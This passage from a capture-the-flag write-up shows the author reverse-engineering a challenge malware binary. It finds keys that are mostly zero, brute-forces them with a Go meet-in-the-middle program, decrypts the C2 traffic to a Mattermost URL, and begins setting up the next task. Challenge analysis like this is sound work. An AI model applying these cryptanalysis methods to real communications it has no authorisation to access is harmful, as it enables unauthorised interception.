Why does it generate two keys and initialize two different AES ECB contexts?

Well, we’ve kind of already implied this a little bit earlier when going over the handshake functions, but if we look at how the binary sends messages, we can see that it performs some kind of custom encryption scheme on messages before it sends them

1
void custom_enc(undefined8 param_1,undefined8 param_2,undefined8 param_3,int param_4,
2
               undefined8 param_5,undefined8 param_6)
3

4
{
5
  void *__ptr;
6
  long in_FS_OFFSET;
7
  int local_44;
8
  long local_40;
9

10
  local_44 = param_4 + 0x10;
11
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
12
  __ptr = malloc((long)local_44);
13
  aes_encrypt(param_1,param_3,param_4,__ptr,&local_44);
14
  aes_encrypt(param_2,__ptr,local_44,param_5,param_6);
15
  if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) {
16
    free(__ptr);
17
    return;
18
  }
19
                    /* WARNING: Subroutine does not return */
20
  __stack_chk_fail();
21
}

As we can see, it encrypts messages twice, once with the first AES ECB context, and again with the second AES ECB context

1
  aes_encrypt(param_1,param_3,param_4,__ptr,&local_44);
2
  aes_encrypt(param_2,__ptr,local_44,param_5,param_6);

Well that makes things a little harder. Thankfully, the bad actors messed up how they’re generating the keys that initialize the AES ECB contexts

We can look at the function that generates said keys

1
/* Comms::gen_key(unsigned char*, int) */
2

3
void __thiscall Comms::gen_key(Comms *this,uchar *param_1,int param_2)
4

5
{
6
  long lVar1;
7
  uint uVar2;
8
  ulong uVar3;
9
  ulong uVar4;
10
  long lVar5;
11
  long in_FS_OFFSET;
12
  undefined8 uStack_50;
13
  char local_48 [32];
14

15
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
16
  local_48[0] = '\0';
17
  local_48[1] = '\0';
18
  local_48[2] = '\0';
19
  local_48[3] = '\0';
20
  local_48[4] = '\0';
21
  local_48[5] = '\0';
22
  local_48[6] = '\0';
23
  local_48[7] = '\0';
24
  local_48[8] = '\0';
25
  local_48[9] = '\0';
26
  local_48[10] = '\0';
27
  local_48[11] = '\0';
28
  local_48[12] = '\0';
29
  local_48[13] = '\0';
30
  local_48[14] = '\0';
31
  local_48[15] = '\0';
32
  local_48[16] = '\0';
33
  local_48[17] = '\0';
34
  local_48[18] = '\0';
35
  local_48[19] = '\0';
36
  local_48[20] = '\0';
37
  local_48[21] = '\0';
38
  local_48[22] = '\0';
39
  local_48[23] = '\0';
40
  local_48[24] = '\0';
41
  local_48[25] = '\0';
42
  local_48[26] = '\0';
43
  local_48[27] = '\0';
44
  local_48[28] = '\0';
45
  local_48[29] = '\0';
46
  local_48[30] = '\0';
47
  local_48[31] = '\0';
48
  uStack_50 = (undefined *)0x10705e;
49
  generate_key((uint8_t)local_48,0x20);
50
  uVar2 = 0x20;
51
  if (param_2 < 0x21) {
52
    uVar2 = param_2;
53
  }
54
  uVar4 = (ulong)(int)uVar2;
55
  if (uVar4 < 8) {
56
    if ((uVar4 & 4) == 0) {
57
      if (uVar4 != 0) {
58
        *param_1 = local_48[0];
59
        if ((uVar2 & 2) != 0) {
60
          *(undefined2 *)(param_1 + (uVar4 - 2)) = *(undefined2 *)(local_48 + (uVar4 - 2));
61
        }
62
      }
63
    }
64
    else {
65
      *(undefined4 *)param_1 = local_48._0_4_;
66
      *(undefined4 *)(param_1 + (uVar4 - 4)) = *(undefined4 *)(local_48 + (uVar4 - 4));
67
    }
68
  }
69
  else {
70
    *(undefined8 *)param_1 = local_48._0_8_;
71
    *(undefined8 *)(param_1 + (uVar4 - 8)) = *(undefined8 *)(local_48 + (uVar4 - 8));
72
    lVar5 = (long)param_1 - ((ulong)(param_1 + 8) & 0xfffffffffffffff8);
73
    uVar4 = uVar4 + lVar5 & 0xfffffffffffffff8;
74
    if (7 < uVar4) {
75
      uVar3 = 0;
76
      do {
77
        *(undefined8 *)(((ulong)(param_1 + 8) & 0xfffffffffffffff8) + uVar3) =
78
             *(undefined8 *)(local_48 + (uVar3 - lVar5));
79
        uVar3 = uVar3 + 8;
80
      } while (uVar3 < uVar4);
81
    }
82
  }
83
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
84
                    /* WARNING: Subroutine does not return */
85
    uStack_50 = &UNK_00107114;
86
    __stack_chk_fail();
87
  }
88
  return;
89
}

This looks pretty complicated, but essentially, the key generation appears to be flawed, since the majority of the key is actually zeroed out according to this disassembly. This is a huge weakness in the encryption scheme.

I wanted to be 100% sure of this however, since I also looked at the disassembly in Binja and it differed a little bit from the Ghidra disassembly. I did trust what Ghidra was giving us, but you can never be too sure.

I used Python to import this gen_key function and run it, just to test our theory. First though I had to create a shared library wrapper to call said function since the function symbols are all garbled

1
#include <cstdint>
2
#include <cstring>
3

4
extern "C" {
5
    // declare mangled symbols from the .so
6
    int _ZN5Comms7gen_keyEPhi(void* this_ptr, unsigned char* buf, int len);
7
    void _ZN5CommsC2Ev(void* this_ptr);
8
    void _ZN5CommsD1Ev(void* this_ptr);
9
}
10

11
struct CommsWrapper {
12
    unsigned char key[32];
13

14
    // construct, call gen_key, store in key
15
    void gen() {
16
        // allocate actual Comms object on stack
17
        unsigned char obj[0x400]; // guess object size
18
        _ZN5CommsC2Ev(obj);      // call constructor
19
        _ZN5Comms7gen_keyEPhi(obj, key, sizeof(key));
20
        _ZN5CommsD1Ev(obj);      // call destructor
21
    }
22
};
23

24
extern "C" void gen_key_bytes(unsigned char* out_buf) {
25
    CommsWrapper w;
26
    w.gen();
27
    std::memcpy(out_buf, w.key, sizeof(w.key));
28
}

I got said symbols by just running strings on the binary and grepping for function names since we know them (I should preface that I did not name gen_key, it was already named that). Additionally, the base object constructor is usually C2Ev and the complete destructor is D1Ev (with Ev meaning that the function takes no arguments)

┌──(archangel✝LAPTOP-2ESFOORT)-[~/comps/nsa-codebreaker/nsa-codebreaker-2025/task4]
└─$ strings mimic_p21658_p416785_zlib.bin | grep gen_key
_ZN5Comms7gen_keyEPhi

┌──(archangel✝LAPTOP-2ESFOORT)-[~/comps/nsa-codebreaker/nsa-codebreaker-2025/task4]
└─$ strings mimic_p21658_p416785_zlib.bin | grep "C2Ev"
_ZN5CommsC2Ev

┌──(archangel✝LAPTOP-2ESFOORT)-[~/comps/nsa-codebreaker/nsa-codebreaker-2025/task4]
└─$ strings mimic_p21658_p416785_zlib.bin | grep "D1Ev"
_ZN5CommsD1Ev

Compiling this shared library wrapper as comms_wrapper.so, we can then use Python to call gen_key

1
from ctypes import CDLL, create_string_buffer
2

3
lib = CDLL("./comms_wrapper.so")
4
buf = create_string_buffer(16)
5
lib.gen_key_bytes(buf)
6
print("generated key:", buf.raw.hex())
7

8
buf2 = create_string_buffer(16)
9
lib.gen_key_bytes(buf2)
10
print("generated key:", buf2.raw.hex())

I call it twice each run just to make sure that what we’re getting is deterministic.

Running this gets us

1
generated key: 88683800000000000000000000000000
2
generated key: f8510102000000000000000000000000

Well would you look at that, we were right! The majority of the key is indeed zeroed out. Good job kind of odd Ghidra disassembly.

It appears that only the first 4 bytes of the keys actually contain data, while the remaining bytes are all zeroes. This is huge, this means that brute forcing these keys is actually feasible.

Ok, so we know what we have to do. We have to brute force the correct keys since they are mathematically feasible to crack due to the much smaller key space (since only the first 4 bytes for each key matters), and we can check if we are correct since we already know the plaintext (REQCONN and REQCONN_OK, with dec0dec0ffee as the headers) of some of the ciphertexts we have

Meet me in the middle

Since we are cracking two keys, to save time, we can perform what is called a “Meet in the Middle” attack

Essentially, we encrypt the known plaintext forward with all possible variations of the first key

We then decrypt the ciphertext backward with all possible variations of the second key

We then look for a match in the middle. If we get one, we have found our two keys.

I end up creating a program that can do this for us in Go. I will warn the program is pretty long (I sorta just had AI cook something up). There’s probably a better, more efficient way to do this.

Regardless, what the program does is it tries every possible value for each key, computes the intermediate encryption and decryption results, and saves those to disk in sorted chunks so it doesn’t need to keep everything in memory. It then streams through both result sets to find matches and verifies any candidate key pairs by decrypting the full ciphertext and checking for our known plaintext, that being 0xDE, 0xC0, 0xDE, 0xC0, 0xFF, 0xEE, 'R', 'E', 'Q', 'C', 'O', 'N', 'N' since that will be the message I’ll be trying to crack

1
// Build: go build -o mitm-runner mitm-runner.go
2
// Usage example:
3
// ./mitm-runner -cipher f4dd46... -tmp /tmp/mitmtmp -chunk 1048576 -workers 8
4
package main
5

6
import (
7
  "container/heap"
8
  "crypto/aes"
9
  "encoding/binary"
10
  "encoding/hex"
11
  "flag"
12
  "fmt"
13
  "io"
14
  "os"
15
  "path/filepath"
16
  "runtime"
17
  "sort"
18
  "sync"
19
  "time"
20
)
21

22
const TOTAL_KEYS uint32 = 1 << 26
23

24
type Rec struct {
25
  Key [16]byte
26
  K   uint32
27
}
28

29
func constructKeyFromV(v uint32) []byte {
30
  k := make([]byte, 16)
31
  k[0] = byte(v & 0xff)
32
  k[1] = byte((v >> 8) & 0xff)
33
  k[2] = byte((v >> 16) & 0xff)
34
  k[3] = byte((v >> 24) & 0xff)
35
  return k
36
}
37

38
func ecbEncryptBlock(key []byte, in []byte) ([]byte, error) {
39
  c, err := aes.NewCipher(key)
40
  if err != nil {
41
    return nil, err
42
  }
43
  out := make([]byte, 16)
44
  c.Encrypt(out, in)
45
  return out, nil
46
}
47

48
func ecbDecryptBlock(key []byte, in []byte) ([]byte, error) {
49
  c, err := aes.NewCipher(key)
50
  if err != nil {
51
    return nil, err
52
  }
53
  out := make([]byte, 16)
54
  c.Decrypt(out, in)
55
  return out, nil
56
}
57

58
// writeRecords writes slice of records to file in binary: 16 bytes key + 4 bytes little-endian k
59
func writeRecords(path string, recs []Rec) error {
60
  f, err := os.Create(path)
61
  if err != nil {
62
    return err
63
  }
64
  defer f.Close()
65
  buf := make([]byte, 20)
66
  for _, r := range recs {
67
    copy(buf[:16], r.Key[:])
68
    binary.LittleEndian.PutUint32(buf[16:], r.K)
69
    _, err := f.Write(buf)
70
    if err != nil {
71
      return err
72
    }
73
  }
74
  return nil
75
}
76

77
// read one record from file (expects file pointer positioned correctly)
78
func readRecord(f *os.File, r *Rec) (bool, error) {
79
  var buf [20]byte
80
  n, err := io.ReadFull(f, buf[:])
81
  if err != nil {
82
    if err == io.EOF || err == io.ErrUnexpectedEOF {
83
      return false, nil
84
    }
85
    return false, err
86
  }
87
  if n != 20 {
88
    return false, nil
89
  }
90
  copy(r.Key[:], buf[:16])
91
  r.K = binary.LittleEndian.Uint32(buf[16:])
92
  return true, nil
93
}
94

95
// HeapItem is the single heap element type used for k-way merge.
96
type HeapItem struct {
97
  idx int
98
  key [16]byte
99
  rec Rec
100
}
101

102
// minHeap implements container/heap.Interface using HeapItem
103
type minHeap []HeapItem
104

105
func (h minHeap) Len() int           { return len(h) }
106
func (h minHeap) Less(i, j int) bool { return string(h[i].key[:]) < string(h[j].key[:]) }
107
func (h minHeap) Swap(i, j int)      { h[i], h[j] = h[j], h[i] }
108

109
func (h *minHeap) Push(x interface{}) {
110
  *h = append(*h, x.(HeapItem))
111
}
112

113
func (h *minHeap) Pop() interface{} {
114
  old := *h
115
  n := len(old)
116
  it := old[n-1]
117
  *h = old[:n-1]
118
  return it
119
}
120

121
// chunk generation for k1 or k2 types
122
func generateChunks(tmpdir string, prefix string, start, end uint32, chunkEntries uint32, workers int, block16 []byte, isK1 bool) ([]string, error) {
123
  var chunkFiles []string
124
  var wg sync.WaitGroup
125
  tasks := make(chan uint32, 1<<16)
126
  errChan := make(chan error, 1)
127
  var mu sync.Mutex
128

129
  // worker pool: compute in parallel and send results to writer goroutine
130
  type outChunk struct {
131
    idx  uint32
132
    recs []Rec
133
  }
134
  outChan := make(chan outChunk, 4)
135

136
  for w := 0; w < workers; w++ {
137
    wg.Add(1)
138
    go func() {
139
      defer wg.Done()
140
      for base := range tasks {
141
        limit := base + chunkEntries
142
        if limit > end {
143
          limit = end
144
        }
145
        recs := make([]Rec, 0, limit-base)
146
        for v := base; v < limit; v++ {
147
          key := constructKeyFromV(v)
148
          var out16 []byte
149
          var err error
150
          if isK1 {
151
            out16, err = ecbEncryptBlock(key, block16)
152
          } else {
153
            out16, err = ecbDecryptBlock(key, block16)
154
          }
155
          if err != nil {
156
            select {
157
            case errChan <- err:
158
            default:
159
            }
160
            return
161
          }
162
          var k16 [16]byte
163
          copy(k16[:], out16[:16])
164
          recs = append(recs, Rec{Key: k16, K: v})
165
        }
166
        outChan <- outChunk{idx: base, recs: recs}
167
      }
168
    }()
169
  }
170

171
  // writer goroutine: receives chunks, sorts them, writes chunk file
172
  writerWg := sync.WaitGroup{}
173
  writerWg.Add(1)
174
  go func() {
175
    defer writerWg.Done()
176
    count := 0
177
    for oc := range outChan {
178
      sort.Slice(oc.recs, func(i, j int) bool {
179
        return string(oc.recs[i].Key[:]) < string(oc.recs[j].Key[:])
180
      })
181
      chfile := filepath.Join(tmpdir, fmt.Sprintf("%s_chunk_%08x.bin", prefix, oc.idx))
182
      if err := writeRecords(chfile, oc.recs); err != nil {
183
        select {
184
        case errChan <- err:
185
        default:
186
        }
187
        return
188
      }
189
      mu.Lock()
190
      chunkFiles = append(chunkFiles, chfile)
191
      mu.Unlock()
192
      count++
193
    }
194
  }()
195

196
  // feed tasks
197
  for base := start; base < end; base += chunkEntries {
198
    tasks <- base
199
  }
200
  close(tasks)
201

202
  // wait
203
  wg.Wait()
204
  close(outChan)
205
  writerWg.Wait()
206

207
  // check errors
208
  select {
209
  case e := <-errChan:
210
    return nil, e
211
  default:
212
  }
213

214
  return chunkFiles, nil
215
}
216

217
// k-way merge chunk files into a single sorted file
218
func mergeChunkFiles(chunkFiles []string, outpath string) error {
219
  // open all files
220
  type readerState struct {
221
    f   *os.File
222
    rec Rec
223
    ok  bool
224
  }
225
  rs := make([]*readerState, 0, len(chunkFiles))
226
  for _, p := range chunkFiles {
227
    f, err := os.Open(p)
228
    if err != nil {
229
      return err
230
    }
231
    r := &readerState{f: f}
232
    ok, err := readRecord(f, &r.rec)
233
    if err != nil {
234
      return err
235
    }
236
    if ok {
237
      r.ok = true
238
      rs = append(rs, r)
239
    } else {
240
      f.Close()
241
    }
242
  }
243
  // min-heap by key
244
  h := &minHeap{}
245
  heap.Init(h)
246
  for i, r := range rs {
247
    heap.Push(h, HeapItem{idx: i, key: r.rec.Key, rec: r.rec})
248
  }
249

250
  outf, err := os.Create(outpath)
251
  if err != nil {
252
    return err
253
  }
254
  defer outf.Close()
255

256
  buf := make([]byte, 20)
257
  for h.Len() > 0 {
258
    it := heap.Pop(h).(HeapItem)
259
    copy(buf[:16], it.rec.Key[:])
260
    binary.LittleEndian.PutUint32(buf[16:], it.rec.K)
261
    if _, err := outf.Write(buf); err != nil {
262
      return err
263
    }
264
    // advance reader it.idx
265
    rsIdx := it.idx
266
    ok, err := readRecord(rs[rsIdx].f, &rs[rsIdx].rec)
267
    if err != nil {
268
      return err
269
    }
270
    if ok {
271
      heap.Push(h, HeapItem{idx: rsIdx, key: rs[rsIdx].rec.Key, rec: rs[rsIdx].rec})
272
    } else {
273
      rs[rsIdx].f.Close()
274
    }
275
  }
276

277
  return nil
278
}
279

280
// stream-merge sorted k1 file and k2 file; when keys equal, verify full ciphertext
281
func mergeTwoFilesAndVerify(k1path, k2path string, ct []byte, verifyPrefix []byte) error {
282
  f1, err := os.Open(k1path)
283
  if err != nil {
284
    return err
285
  }
286
  defer f1.Close()
287
  f2, err := os.Open(k2path)
288
  if err != nil {
289
    return err
290
  }
291
  defer f2.Close()
292

293
  var r1, r2 Rec
294
  ok1, err := readRecord(f1, &r1)
295
  if err != nil {
296
    return err
297
  }
298
  ok2, err := readRecord(f2, &r2)
299
  if err != nil {
300
    return err
301
  }
302

303
  for ok1 && ok2 {
304
    s1 := string(r1.Key[:])
305
    s2 := string(r2.Key[:])
306
    if s1 < s2 {
307
      ok1, err = readRecord(f1, &r1)
308
      if err != nil {
309
        return err
310
      }
311
      continue
312
    }
313
    if s2 < s1 {
314
      ok2, err = readRecord(f2, &r2)
315
      if err != nil {
316
        return err
317
      }
318
      continue
319
    }
320
    // s1 == s2
321
    var k1s []uint32
322
    var k2s []uint32
323
    cur := r1
324
    for ok1 && string(cur.Key[:]) == s1 {
325
      k1s = append(k1s, cur.K)
326
      ok1, err = readRecord(f1, &cur)
327
      if err != nil {
328
        return err
329
      }
330
    }
331
    cur2 := r2
332
    for ok2 && string(cur2.Key[:]) == s2 {
333
      k2s = append(k2s, cur2.K)
334
      ok2, err = readRecord(f2, &cur2)
335
      if err != nil {
336
        return err
337
      }
338
    }
339
    // verify cross product
340
    for _, k1v := range k1s {
341
      k1key := constructKeyFromV(k1v)
342
      for _, k2v := range k2s {
343
        k2key := constructKeyFromV(k2v)
344
        // verify: decrypt with k2 then k1 -> should equal plaintext starting with verifyPrefix
345
        mid := make([]byte, len(ct))
346
        for i := 0; i < len(ct); i += 16 {
347
          block := ct[i : i+16]
348
          decblock, err := ecbDecryptBlock(k2key, block)
349
          if err != nil {
350
            return err
351
          }
352
          copy(mid[i:i+16], decblock)
353
        }
354
        pt := make([]byte, len(ct))
355
        for i := 0; i < len(mid); i += 16 {
356
          block := mid[i : i+16]
357
          decblock, err := ecbDecryptBlock(k1key, block)
358
          if err != nil {
359
            return err
360
          }
361
          copy(pt[i:i+16], decblock)
362
        }
363
        if len(pt) >= len(verifyPrefix) && string(pt[:len(verifyPrefix)]) == string(verifyPrefix) {
364
          fmt.Printf("FOUND keys: k1=0x%08x k2=0x%08x\n", k1v, k2v)
365
          return nil
366
        }
367
      }
368
    }
369
  }
370

371
  return nil
372
}
373

374
func main() {
375
  var cipherHex string
376
  var tmpdir string
377
  var chunkEntries uint64
378
  var workers int
379
  flag.StringVar(&cipherHex, "cipher", "", "ciphertext hex (required)")
380
  flag.StringVar(&tmpdir, "tmp", "./mitm_tmp", "temporary directory for chunk files")
381
  flag.Uint64Var(&chunkEntries, "chunk", 1<<20, "number of entries per chunk (tune smaller for low RAM)")
382
  flag.IntVar(&workers, "workers", runtime.NumCPU(), "parallel workers for chunk generation")
383
  flag.Parse()
384

385
  if cipherHex == "" {
386
    fmt.Println("cipher required")
387
    os.Exit(1)
388
  }
389
  ct, err := hex.DecodeString(cipherHex)
390
  if err != nil {
391
    panic(err)
392
  }
393
  if len(ct)%16 != 0 {
394
    panic("cipher length must be multiple of 16")
395
  }
396
  verifyPrefix := []byte{0xDE, 0xC0, 0xDE, 0xC0, 0xFF, 0xEE, 'R', 'E', 'Q', 'C', 'O', 'N', 'N'}
397

398
  if err := os.MkdirAll(tmpdir, 0755); err != nil {
399
    panic(err)
400
  }
401

402
  chunk := uint32(chunkEntries)
403
  fmt.Printf("Generating k1 chunks...\n")
404
  start := uint32(0)
405
  end := TOTAL_KEYS
406
  P1 := make([]byte, 16)
407
  copy(P1, verifyPrefix)
408
  if len(verifyPrefix) < 16 {
409
    pad := 16 - len(verifyPrefix)
410
    for i := len(verifyPrefix); i < 16; i++ {
411
      P1[i] = byte(pad)
412
    }
413
  }
414
  k1Chunks, err := generateChunks(tmpdir, "k1", start, end, chunk, workers, P1, true)
415
  if err != nil {
416
    panic(err)
417
  }
418
  fmt.Printf("k1 chunks: %d\n", len(k1Chunks))
419

420
  fmt.Printf("Merging k1 chunks into k1_all.dat ...\n")
421
  k1All := filepath.Join(tmpdir, "k1_all.dat")
422
  if err := mergeChunkFiles(k1Chunks, k1All); err != nil {
423
    panic(err)
424
  }
425
  fmt.Printf("k1 merged at %s\n", k1All)
426

427
  // k2 using first ciphertext block
428
  C1 := ct[:16]
429
  fmt.Printf("Generating k2 chunks...\n")
430
  k2Chunks, err := generateChunks(tmpdir, "k2", 0, TOTAL_KEYS, chunk, workers, C1, false)
431
  if err != nil {
432
    panic(err)
433
  }
434
  fmt.Printf("k2 chunks: %d\n", len(k2Chunks))
435

436
  fmt.Printf("Merging k2 chunks into k2_all.dat ...\n")
437
  k2All := filepath.Join(tmpdir, "k2_all.dat")
438
  if err := mergeChunkFiles(k2Chunks, k2All); err != nil {
439
    panic(err)
440
  }
441
  fmt.Printf("k2 merged at %s\n", k2All)
442

443
  fmt.Printf("Streaming merge and verify...\n")
444
  t0 := time.Now()
445
  if err := mergeTwoFilesAndVerify(k1All, k2All, ct, verifyPrefix); err != nil {
446
    panic(err)
447
  }
448
  fmt.Printf("Done in %s\n", time.Since(t0))
449
}

We can run this like so after compiling it as mitm-runner

1
./mitm-runner -cipher <CIPHER> -tmp /tmp/mitmtmp -chunk 1048576 -workers 8

For the cipher, as I mentioned before, I will use the relatively short message that is sent right after the KEY_RECIEVED message. This is the message that we believe decrypts to the dec0dec0ffee header and REQCONN

1
00000106  f4 dd 46 f9 82 34 1b 5d  da c9 0f f0 fd 70 c3 67   ..F..4.] .....p.g
2
00000116  86 c4 bb af 7c d8 fe c4  b7 82 b4 4f 01 db 0f 1e   ....|... ...O....

So the hex for that is

1
f4dd46f982341b5ddac90ff0fd70c36786c4bbaf7cd8fec4b782b44f01db0f1e

I run our Go program with

1
./mitm-runner -cipher f4dd46f982341b5ddac90ff0fd70c36786c4bbaf7cd8fec4b782b44f01db0f1e -tmp /tmp/mitmtmp -chunk 1048576 -workers 8

and hope for the best

The program first generates all the intermediate encryption and decryption results, which takes a while. It then goes through all of them to find matches, which was actually pretty fast. It then tells us that it was able to find two keys that worked!

1
Generating k1 chunks...
2
k1 chunks: 64
3
Merging k1 chunks into k1_all.dat ...
4
k1 merged at /tmp/mitmtmp/k1_all.dat
5
Generating k2 chunks...
6
k2 chunks: 64
7
Merging k2 chunks into k2_all.dat ...
8
k2 merged at /tmp/mitmtmp/k2_all.dat
9
Streaming merge and verify...
10
FOUND keys: k1=0x0309d694 k2=0x00617d73
11
Done in 24.182218213s

Well, we can now make a Python script to test if these keys are correct. We compile all of the encrypted messages from the Wireshark transmissions, and try to decrypt them using our found keys

1
from Crypto.Cipher import AES
2
from binascii import unhexlify
3
import sys
4

5
# messages to decode (hex strings)
6
msgs = [
7
    "f4dd46f982341b5ddac90ff0fd70c36786c4bbaf7cd8fec4b782b44f01db0f1e",
8
    "68b7847dbd4c602d5807a7fe8943459b804d5b0e9cf604ffd2c59eeea3a8980686c4bbaf7cd8fec4b782b44f01db0f1e",
9
    "02db7bd54fed23d12d48599de5252dc624a3b76d45463a6afb38e6434b9cf8aee0e3ae53db69df09fe99882456830bc486c4bbaf7cd8fec4b782b44f01db0f1e",
10
    "7f9171b652fc82ca320a0ae67cb74bad5e4fb022162e6f9abf514bfec1a564b3422c3c4c8238df668eeee00fdf879918808fc4fd93247d5068c941f8fc4d616486c4bbaf7cd8fec4b782b44f01db0f1e"
11
]
12

13
# expected prefix
14
expected_prefix = unhexlify("DEC0DEC0FFEE")
15

16
def key_from_v(v):
17
    # v: integer, produce 16-byte AES-128 key: little-endian 4 bytes then 12 zeros
18
    return v.to_bytes(4, "little") + b"\x00"*12
19

20
# candidate values (integers)
21
k1_v = 0x0309d694
22
k2_v = 0x00617d73
23

24
k1 = key_from_v(k1_v)
25
k2 = key_from_v(k2_v)
26

27
print("k1 (hex):", k1.hex())
28
print("k2 (hex):", k2.hex())
29
print("expected prefix (hex):", expected_prefix.hex())
30
print()
31

32
for i, mhex in enumerate(msgs, start=1):
33
    print(f"=== msg {i} ===")
34
    try:
35
        ct = unhexlify(mhex)
36
    except Exception as e:
37
        print("Invalid hex for message:", mhex)
38
        print("Error:", e)
39
        continue
40

41
    # decrypt: C = E_k2(E_k1(P)) so decrypt with k2 then k1
42
    try:
43
        mid = AES.new(k2, AES.MODE_ECB).decrypt(ct)
44
        pt = AES.new(k1, AES.MODE_ECB).decrypt(mid)
45
    except Exception as e:
46
        print("Decryption error (k2 then k1):", e)
47
        pt = b""
48

49
    print("decrypted (k2->k1) hex:", pt.hex())
50
    print("decrypted (k2->k1) ascii:", pt.decode('utf-8', errors='replace'))
51
    if pt.startswith(expected_prefix):
52
        print("=> MATCH: plaintext starts with expected prefix.")
53
    else:
54
        print("=> NO MATCH with expected prefix.")
55

56
    # also show swapped order (just in case)
57
    try:
58
        mid_s = AES.new(k1, AES.MODE_ECB).decrypt(ct)
59
        pt_s = AES.new(k2, AES.MODE_ECB).decrypt(mid_s)
60
    except Exception as e:
61
        print("Decryption error (k1 then k2):", e)
62
        pt_s = b""
63

64
    print("--- swapped (k1->k2) hex:", pt_s.hex())
65
    print("--- swapped (k1->k2) ascii:", pt_s.decode('utf-8', errors='replace'))
66
    if pt_s.startswith(expected_prefix):
67
        print("=> MATCH with swapped order (unexpected).")
68
    else:
69
        print("=> NO MATCH with swapped order.")
70
    print()

Running this gets us

1
k1 (hex): 94d60903000000000000000000000000
2
k2 (hex): 737d6100000000000000000000000000
3
expected prefix (hex): dec0dec0ffee
4

5
=== msg 1 ===
6
decrypted (k2->k1) hex: dec0dec0ffee524551434f4e4e0303039afb71e62754886f48d3bdb8edbe6e3c
7
decrypted (k2->k1) ascii: ������REQCONN��q�'T�oHӽ���n<
8
=> MATCH: plaintext starts with expected prefix.
9
--- swapped (k1->k2) hex: 61894c1530ba12ca9e5f3d586271a4b0a5510e759d867cf26dd454c0addd2b43
10
--- swapped (k1->k2) ascii: a�L0�ʞ_=Xbq���Qu��|�m�T���+C
11
=> NO MATCH with swapped order.
12

13
=== msg 2 ===
14
decrypted (k2->k1) hex: dec0dec0ffee524551434f4e4e5f4f4b101010101010101010101010101010109afb71e62754886f48d3bdb8edbe6e3c
15
decrypted (k2->k1) ascii: ������REQCONN_OK��q�'T�oHӽ���n<
16
=> MATCH: plaintext starts with expected prefix.
17
--- swapped (k1->k2) hex: 96e32dec116222985c82ae5d354bf3bacfd12fb1ed566f74739eca5163236df7a5510e759d867cf26dd454c0addd2b43
18
--- swapped (k1->k2) ascii: ��-�b"�\��]5K���/��Vots��Qc#m��Qu��|�m�T���+C
19
=> NO MATCH with swapped order.
20

21
=== msg 3 ===
22
decrypted (k2->k1) hex: dec0dec0ffee444154412052455155455354206d61747465726d6f73745f75726c0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f9afb71e62754886f48d3bdb8edbe6e3c
23
decrypted (k2->k1) ascii: ������DATA REQUEST mattermost_url��q�'T�oHӽ���n<
24
=> MATCH: plaintext starts with expected prefix.
25
--- swapped (k1->k2) hex: 07847bc1f1503cb1774d1654e2cb50778e478b1a5caab7ba27a44ede5b7c4235c58baca50a3440f6c810bf0ed7cadb14a5510e759d867cf26dd454c0addd2b43
26
--- swapped (k1->k2) ascii: �{��P<�wMT��Pw�G�\���'�N�[|B5ŋ��
27
4@�������Qu��|�m�T���+C
28
=> NO MATCH with swapped order.
29

30
=== msg 4 ===
31
decrypted (k2->k1) hex: dec0dec0ffee68747470733a2f2f3139382e35312e3130302e3136362f6d61747465726d6f73742f50574d38436d727858387145350b0b0b0b0b0b0b0b0b0b0b9afb71e62754886f48d3bdb8edbe6e3c
32
decrypted (k2->k1) ascii: ������https://198.51.100.166/mattermost/PWM8CmrxX8qE5
33

34

35

36

37

38

39

40

41

42

43
                                                                               ��q�'T�oHӽ���n<
44
=> MATCH: plaintext starts with expected prefix.
45
--- swapped (k1->k2) hex: df20fa7153da8f515ab1eaedce674116a77c4cfc3b0cb766ff4480ca3bb861f4b4713af66377996b9ab349e4a77b948a7f7e40a73ee6261e5025ee2dcba5dfc8a5510e759d867cf26dd454c0addd2b43
46
--- swapped (k1->k2) ascii: � �qSڏQZ����gA�|L�;
47
                                               �f�D��;�a��q:�cw�k��I�{��~@�>�&P%�-˥�ȥQu��|�m�T���+C
48
=> NO MATCH with swapped order.

Lots of output here, but the first encrypted message decrypts to dec0dec0ffee524551434f4e4e0303039afb71e62754886f48d3bdb8edbe6e3c, which is the dec0dec0ffee header and then REQCONN, exactly as we expected

The second encrypted message decrypts to the dec0dec0ffee header and REQCONN_OK, again, exactly as we expected

The third encrypted message decrypts to the dec0dec0ffee header and DATA REQUEST mattermost_url

The last encrypted message decrypts to the dec0dec0ffee header and https://198.51.100.166/mattermost/PWM8CmrxX8qE5

Bingo! The last message has exactly what we need

This task asked us to “submit the full URL to the adversary’s server”

Submitting https://198.51.100.166/mattermost/PWM8CmrxX8qE5 solves this task!

Response:

Brilliant! The malware communications lead us right to the adversary’s Mattermost server!

Task 6 - Crossing the Channel - (Vulnerability Research)

This high visibility investigation has garnered a lot of agency attention. Due to your success, your team has designated you as the lead for the tasks ahead. Partnering with CNO and CYBERCOM mission elements, you work with operations to collect the persistent data associated with the identified Mattermost instance. Our analysts inform us that it was obtained through a one-time opportunity and we must move quickly as this may hold the key to tracking down our adversary! We have managed to create an account but it only granted us access to one channel. The adversary doesn’t appear to be in that channel.

We will have to figure out how to get into the same channel as the adversary. If we can gain access to their communications, we may uncover further opportunity.

You are tasked with gaining access to the same channel as the target. The only interface that you have is the chat interface in Mattermost!

Downloads: Mattermost instance (volumes.tar.gz), User login (user.txt)

Prompt: Submit a series of commands, one per line, given to the Mattermost server which will allow you to gain access to a channel with the adversary.

Solve:

Unironically the longest part of this task was getting everything setup when I first went through it.

Setup

We are given the login for a user, as well as a Mattermost instance. Firstly, we need to install Mattermost itself. I followed these instructions. All you need to do is the part where you install Mattermost server, you don’t need anything else past that. You will have to tweak /opt/mattermost/config/config.json (assuming that’s where you saved Mattermost to if you followed the instructions word for word) to point to the correct PostgreSQL server.

The volumes directory was specifically running on PostgreSQL version 13, or at the very least wouldn’t let me use any modern versions of PostgreSQL. To handle this, we’ll just use a Docker container to run PostgreSQL version 13, and also copy over the same data that’s in volumes. This can be done with the below command

1
docker run -d   --name codebreaker_pg   -p 5432:5432   -v ~/comps/nsa-codebreaker/nsa-codebreaker-2025/task6/volumes/db/var/lib/postgresql/data:/var/lib/postgresql/data   -e POSTGRES_HOST_AUTH_METHOD=trust   postgres:13

I named the container codebreaker_pg. Make sure that you correctly point to the content of the postgresql/data directory from volumes. For me, it was located at ~/comps/nsa-codebreaker/nsa-codebreaker-2025/task6/volumes/db/var/lib/postgresql/data

